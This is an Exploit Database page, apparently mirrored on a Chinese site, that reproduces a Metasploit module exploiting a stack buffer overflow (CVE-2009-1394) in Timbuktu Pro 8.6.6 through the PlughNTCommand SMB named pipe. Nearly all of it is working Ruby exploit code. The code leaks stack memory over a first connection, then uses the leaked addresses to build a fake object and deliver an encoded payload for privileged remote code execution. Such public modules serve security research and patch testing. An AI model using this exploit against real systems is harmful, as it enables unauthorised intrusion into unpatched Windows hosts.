Timbuktu 8.6.6 – PlughNTCommand Named Pipe Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16370/

• ##
  # $Id: timbuktu_plughntcommand_bof.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::SMB
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
  				in a pretty novel way.
  
  				This exploit requires two connections. The first connection is used to leak stack data
  				using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
  				a large value for this argument it is possible to cause Timbuktu to reply to the initial
  				request with leaked stack data. Using this data allows for reliable exploitation of the
  				buffer overflow vulnerability.
  
  				Props to Infamous41d for helping in finding this exploitation path.
  
  				The second connection utilizes the data from the data leak to accurately exploit
  				the stack based buffer overflow vulnerability.
  
  				TODO:
  				hdm suggested using meterpreter's migration capability and restarting the process
  				for multishot exploitation.
  			},
  			'Author' => [ 'bannedit' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-1394' ],
  					[ 'OSVDB', '55436' ],
  					[ 'BID', '35496' ],
  					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'	=>
  				{
  					'Space'	=> 2048,
  				},
  			'Platform'	=> 'win',
  			'Targets'	=>
  				[
  					# we use a memory leak technique to get the return address
  					# tested on Windows XP SP2/SP3 may require a bit more testing
  					[ 'Automatic Targeting',
  						{
  							# ntdll .data (a fairly reliable address)
  							# this address should be relatively stable across platforms/SPs
  							'Writable' => 0x7C97B0B0 + 0x10 - 0xc
  						}
  					],
  				],
  			'Privileged'		=> true,
  			'DisclosureDate'	=> 'Jun 25 2009',
  			'DefaultTarget'	=> 0))
  	end
  
  
  	# we make two connections this code just wraps the process
  	def smb_connection
  
  		connect()
  		smb_login()
  
  		print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
  
  		pipe = simple.create_pipe('\\PlughNTCommand')
  
  		fid = pipe.file_id
  		trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
  
  		return pipe
  
  	end
  
  
  	def mem_leak
  
  		pipe = smb_connection()
  
  		print_status("Constructing memory leak...")
  
  		writable_addr = target['Writable']
  
  		buf = make_nops(114)
  		buf[0] ="3 " # specifies the command
  		buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
  		buf[98] = [writable_addr].pack('V')
  		buf[110] = [0x1ff8].pack('V') # number of bytes to leak
  
  		pipe.write(buf)
  		leaked = pipe.read()
  		leaked << pipe.read()
  
  		if (leaked.length < 0x1ff8)
  			print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
  			pipe.close
  			disconnect
  			return
  		end
  
  
  		offset = 0x1d64
  		stackaddr = leaked[offset, 4].unpack('V')[0]
  		bufaddr = stackaddr - 0xcc8
  
  		print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)}buffer #{sprintf("0x%x", bufaddr)}"
  
  		print_status("Closing connection...")
  		pipe.close
  		disconnect
  
  		return stackaddr, bufaddr
  
  	end
  
  
  	def exploit
  
  		stackaddr, bufaddr = mem_leak()
  
  		if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
  			print_error("Error: memory leak failed")
  		end
  
  		pipe = smb_connection()
  
  		buf = make_nops(1280)
  		buf[0] ="3 "
  		buf[94] = [bufaddr+272].pack('V') # create a fake object
  		buf[99] = "\x00"
  		buf[256] = [bufaddr+256].pack('V')
  		buf[260] = [bufaddr+288].pack('V')
  		buf[272] = "\x00"
  		buf[512] = payload.encoded
  
  		pipe.write(buf)
  
  	end
  
  end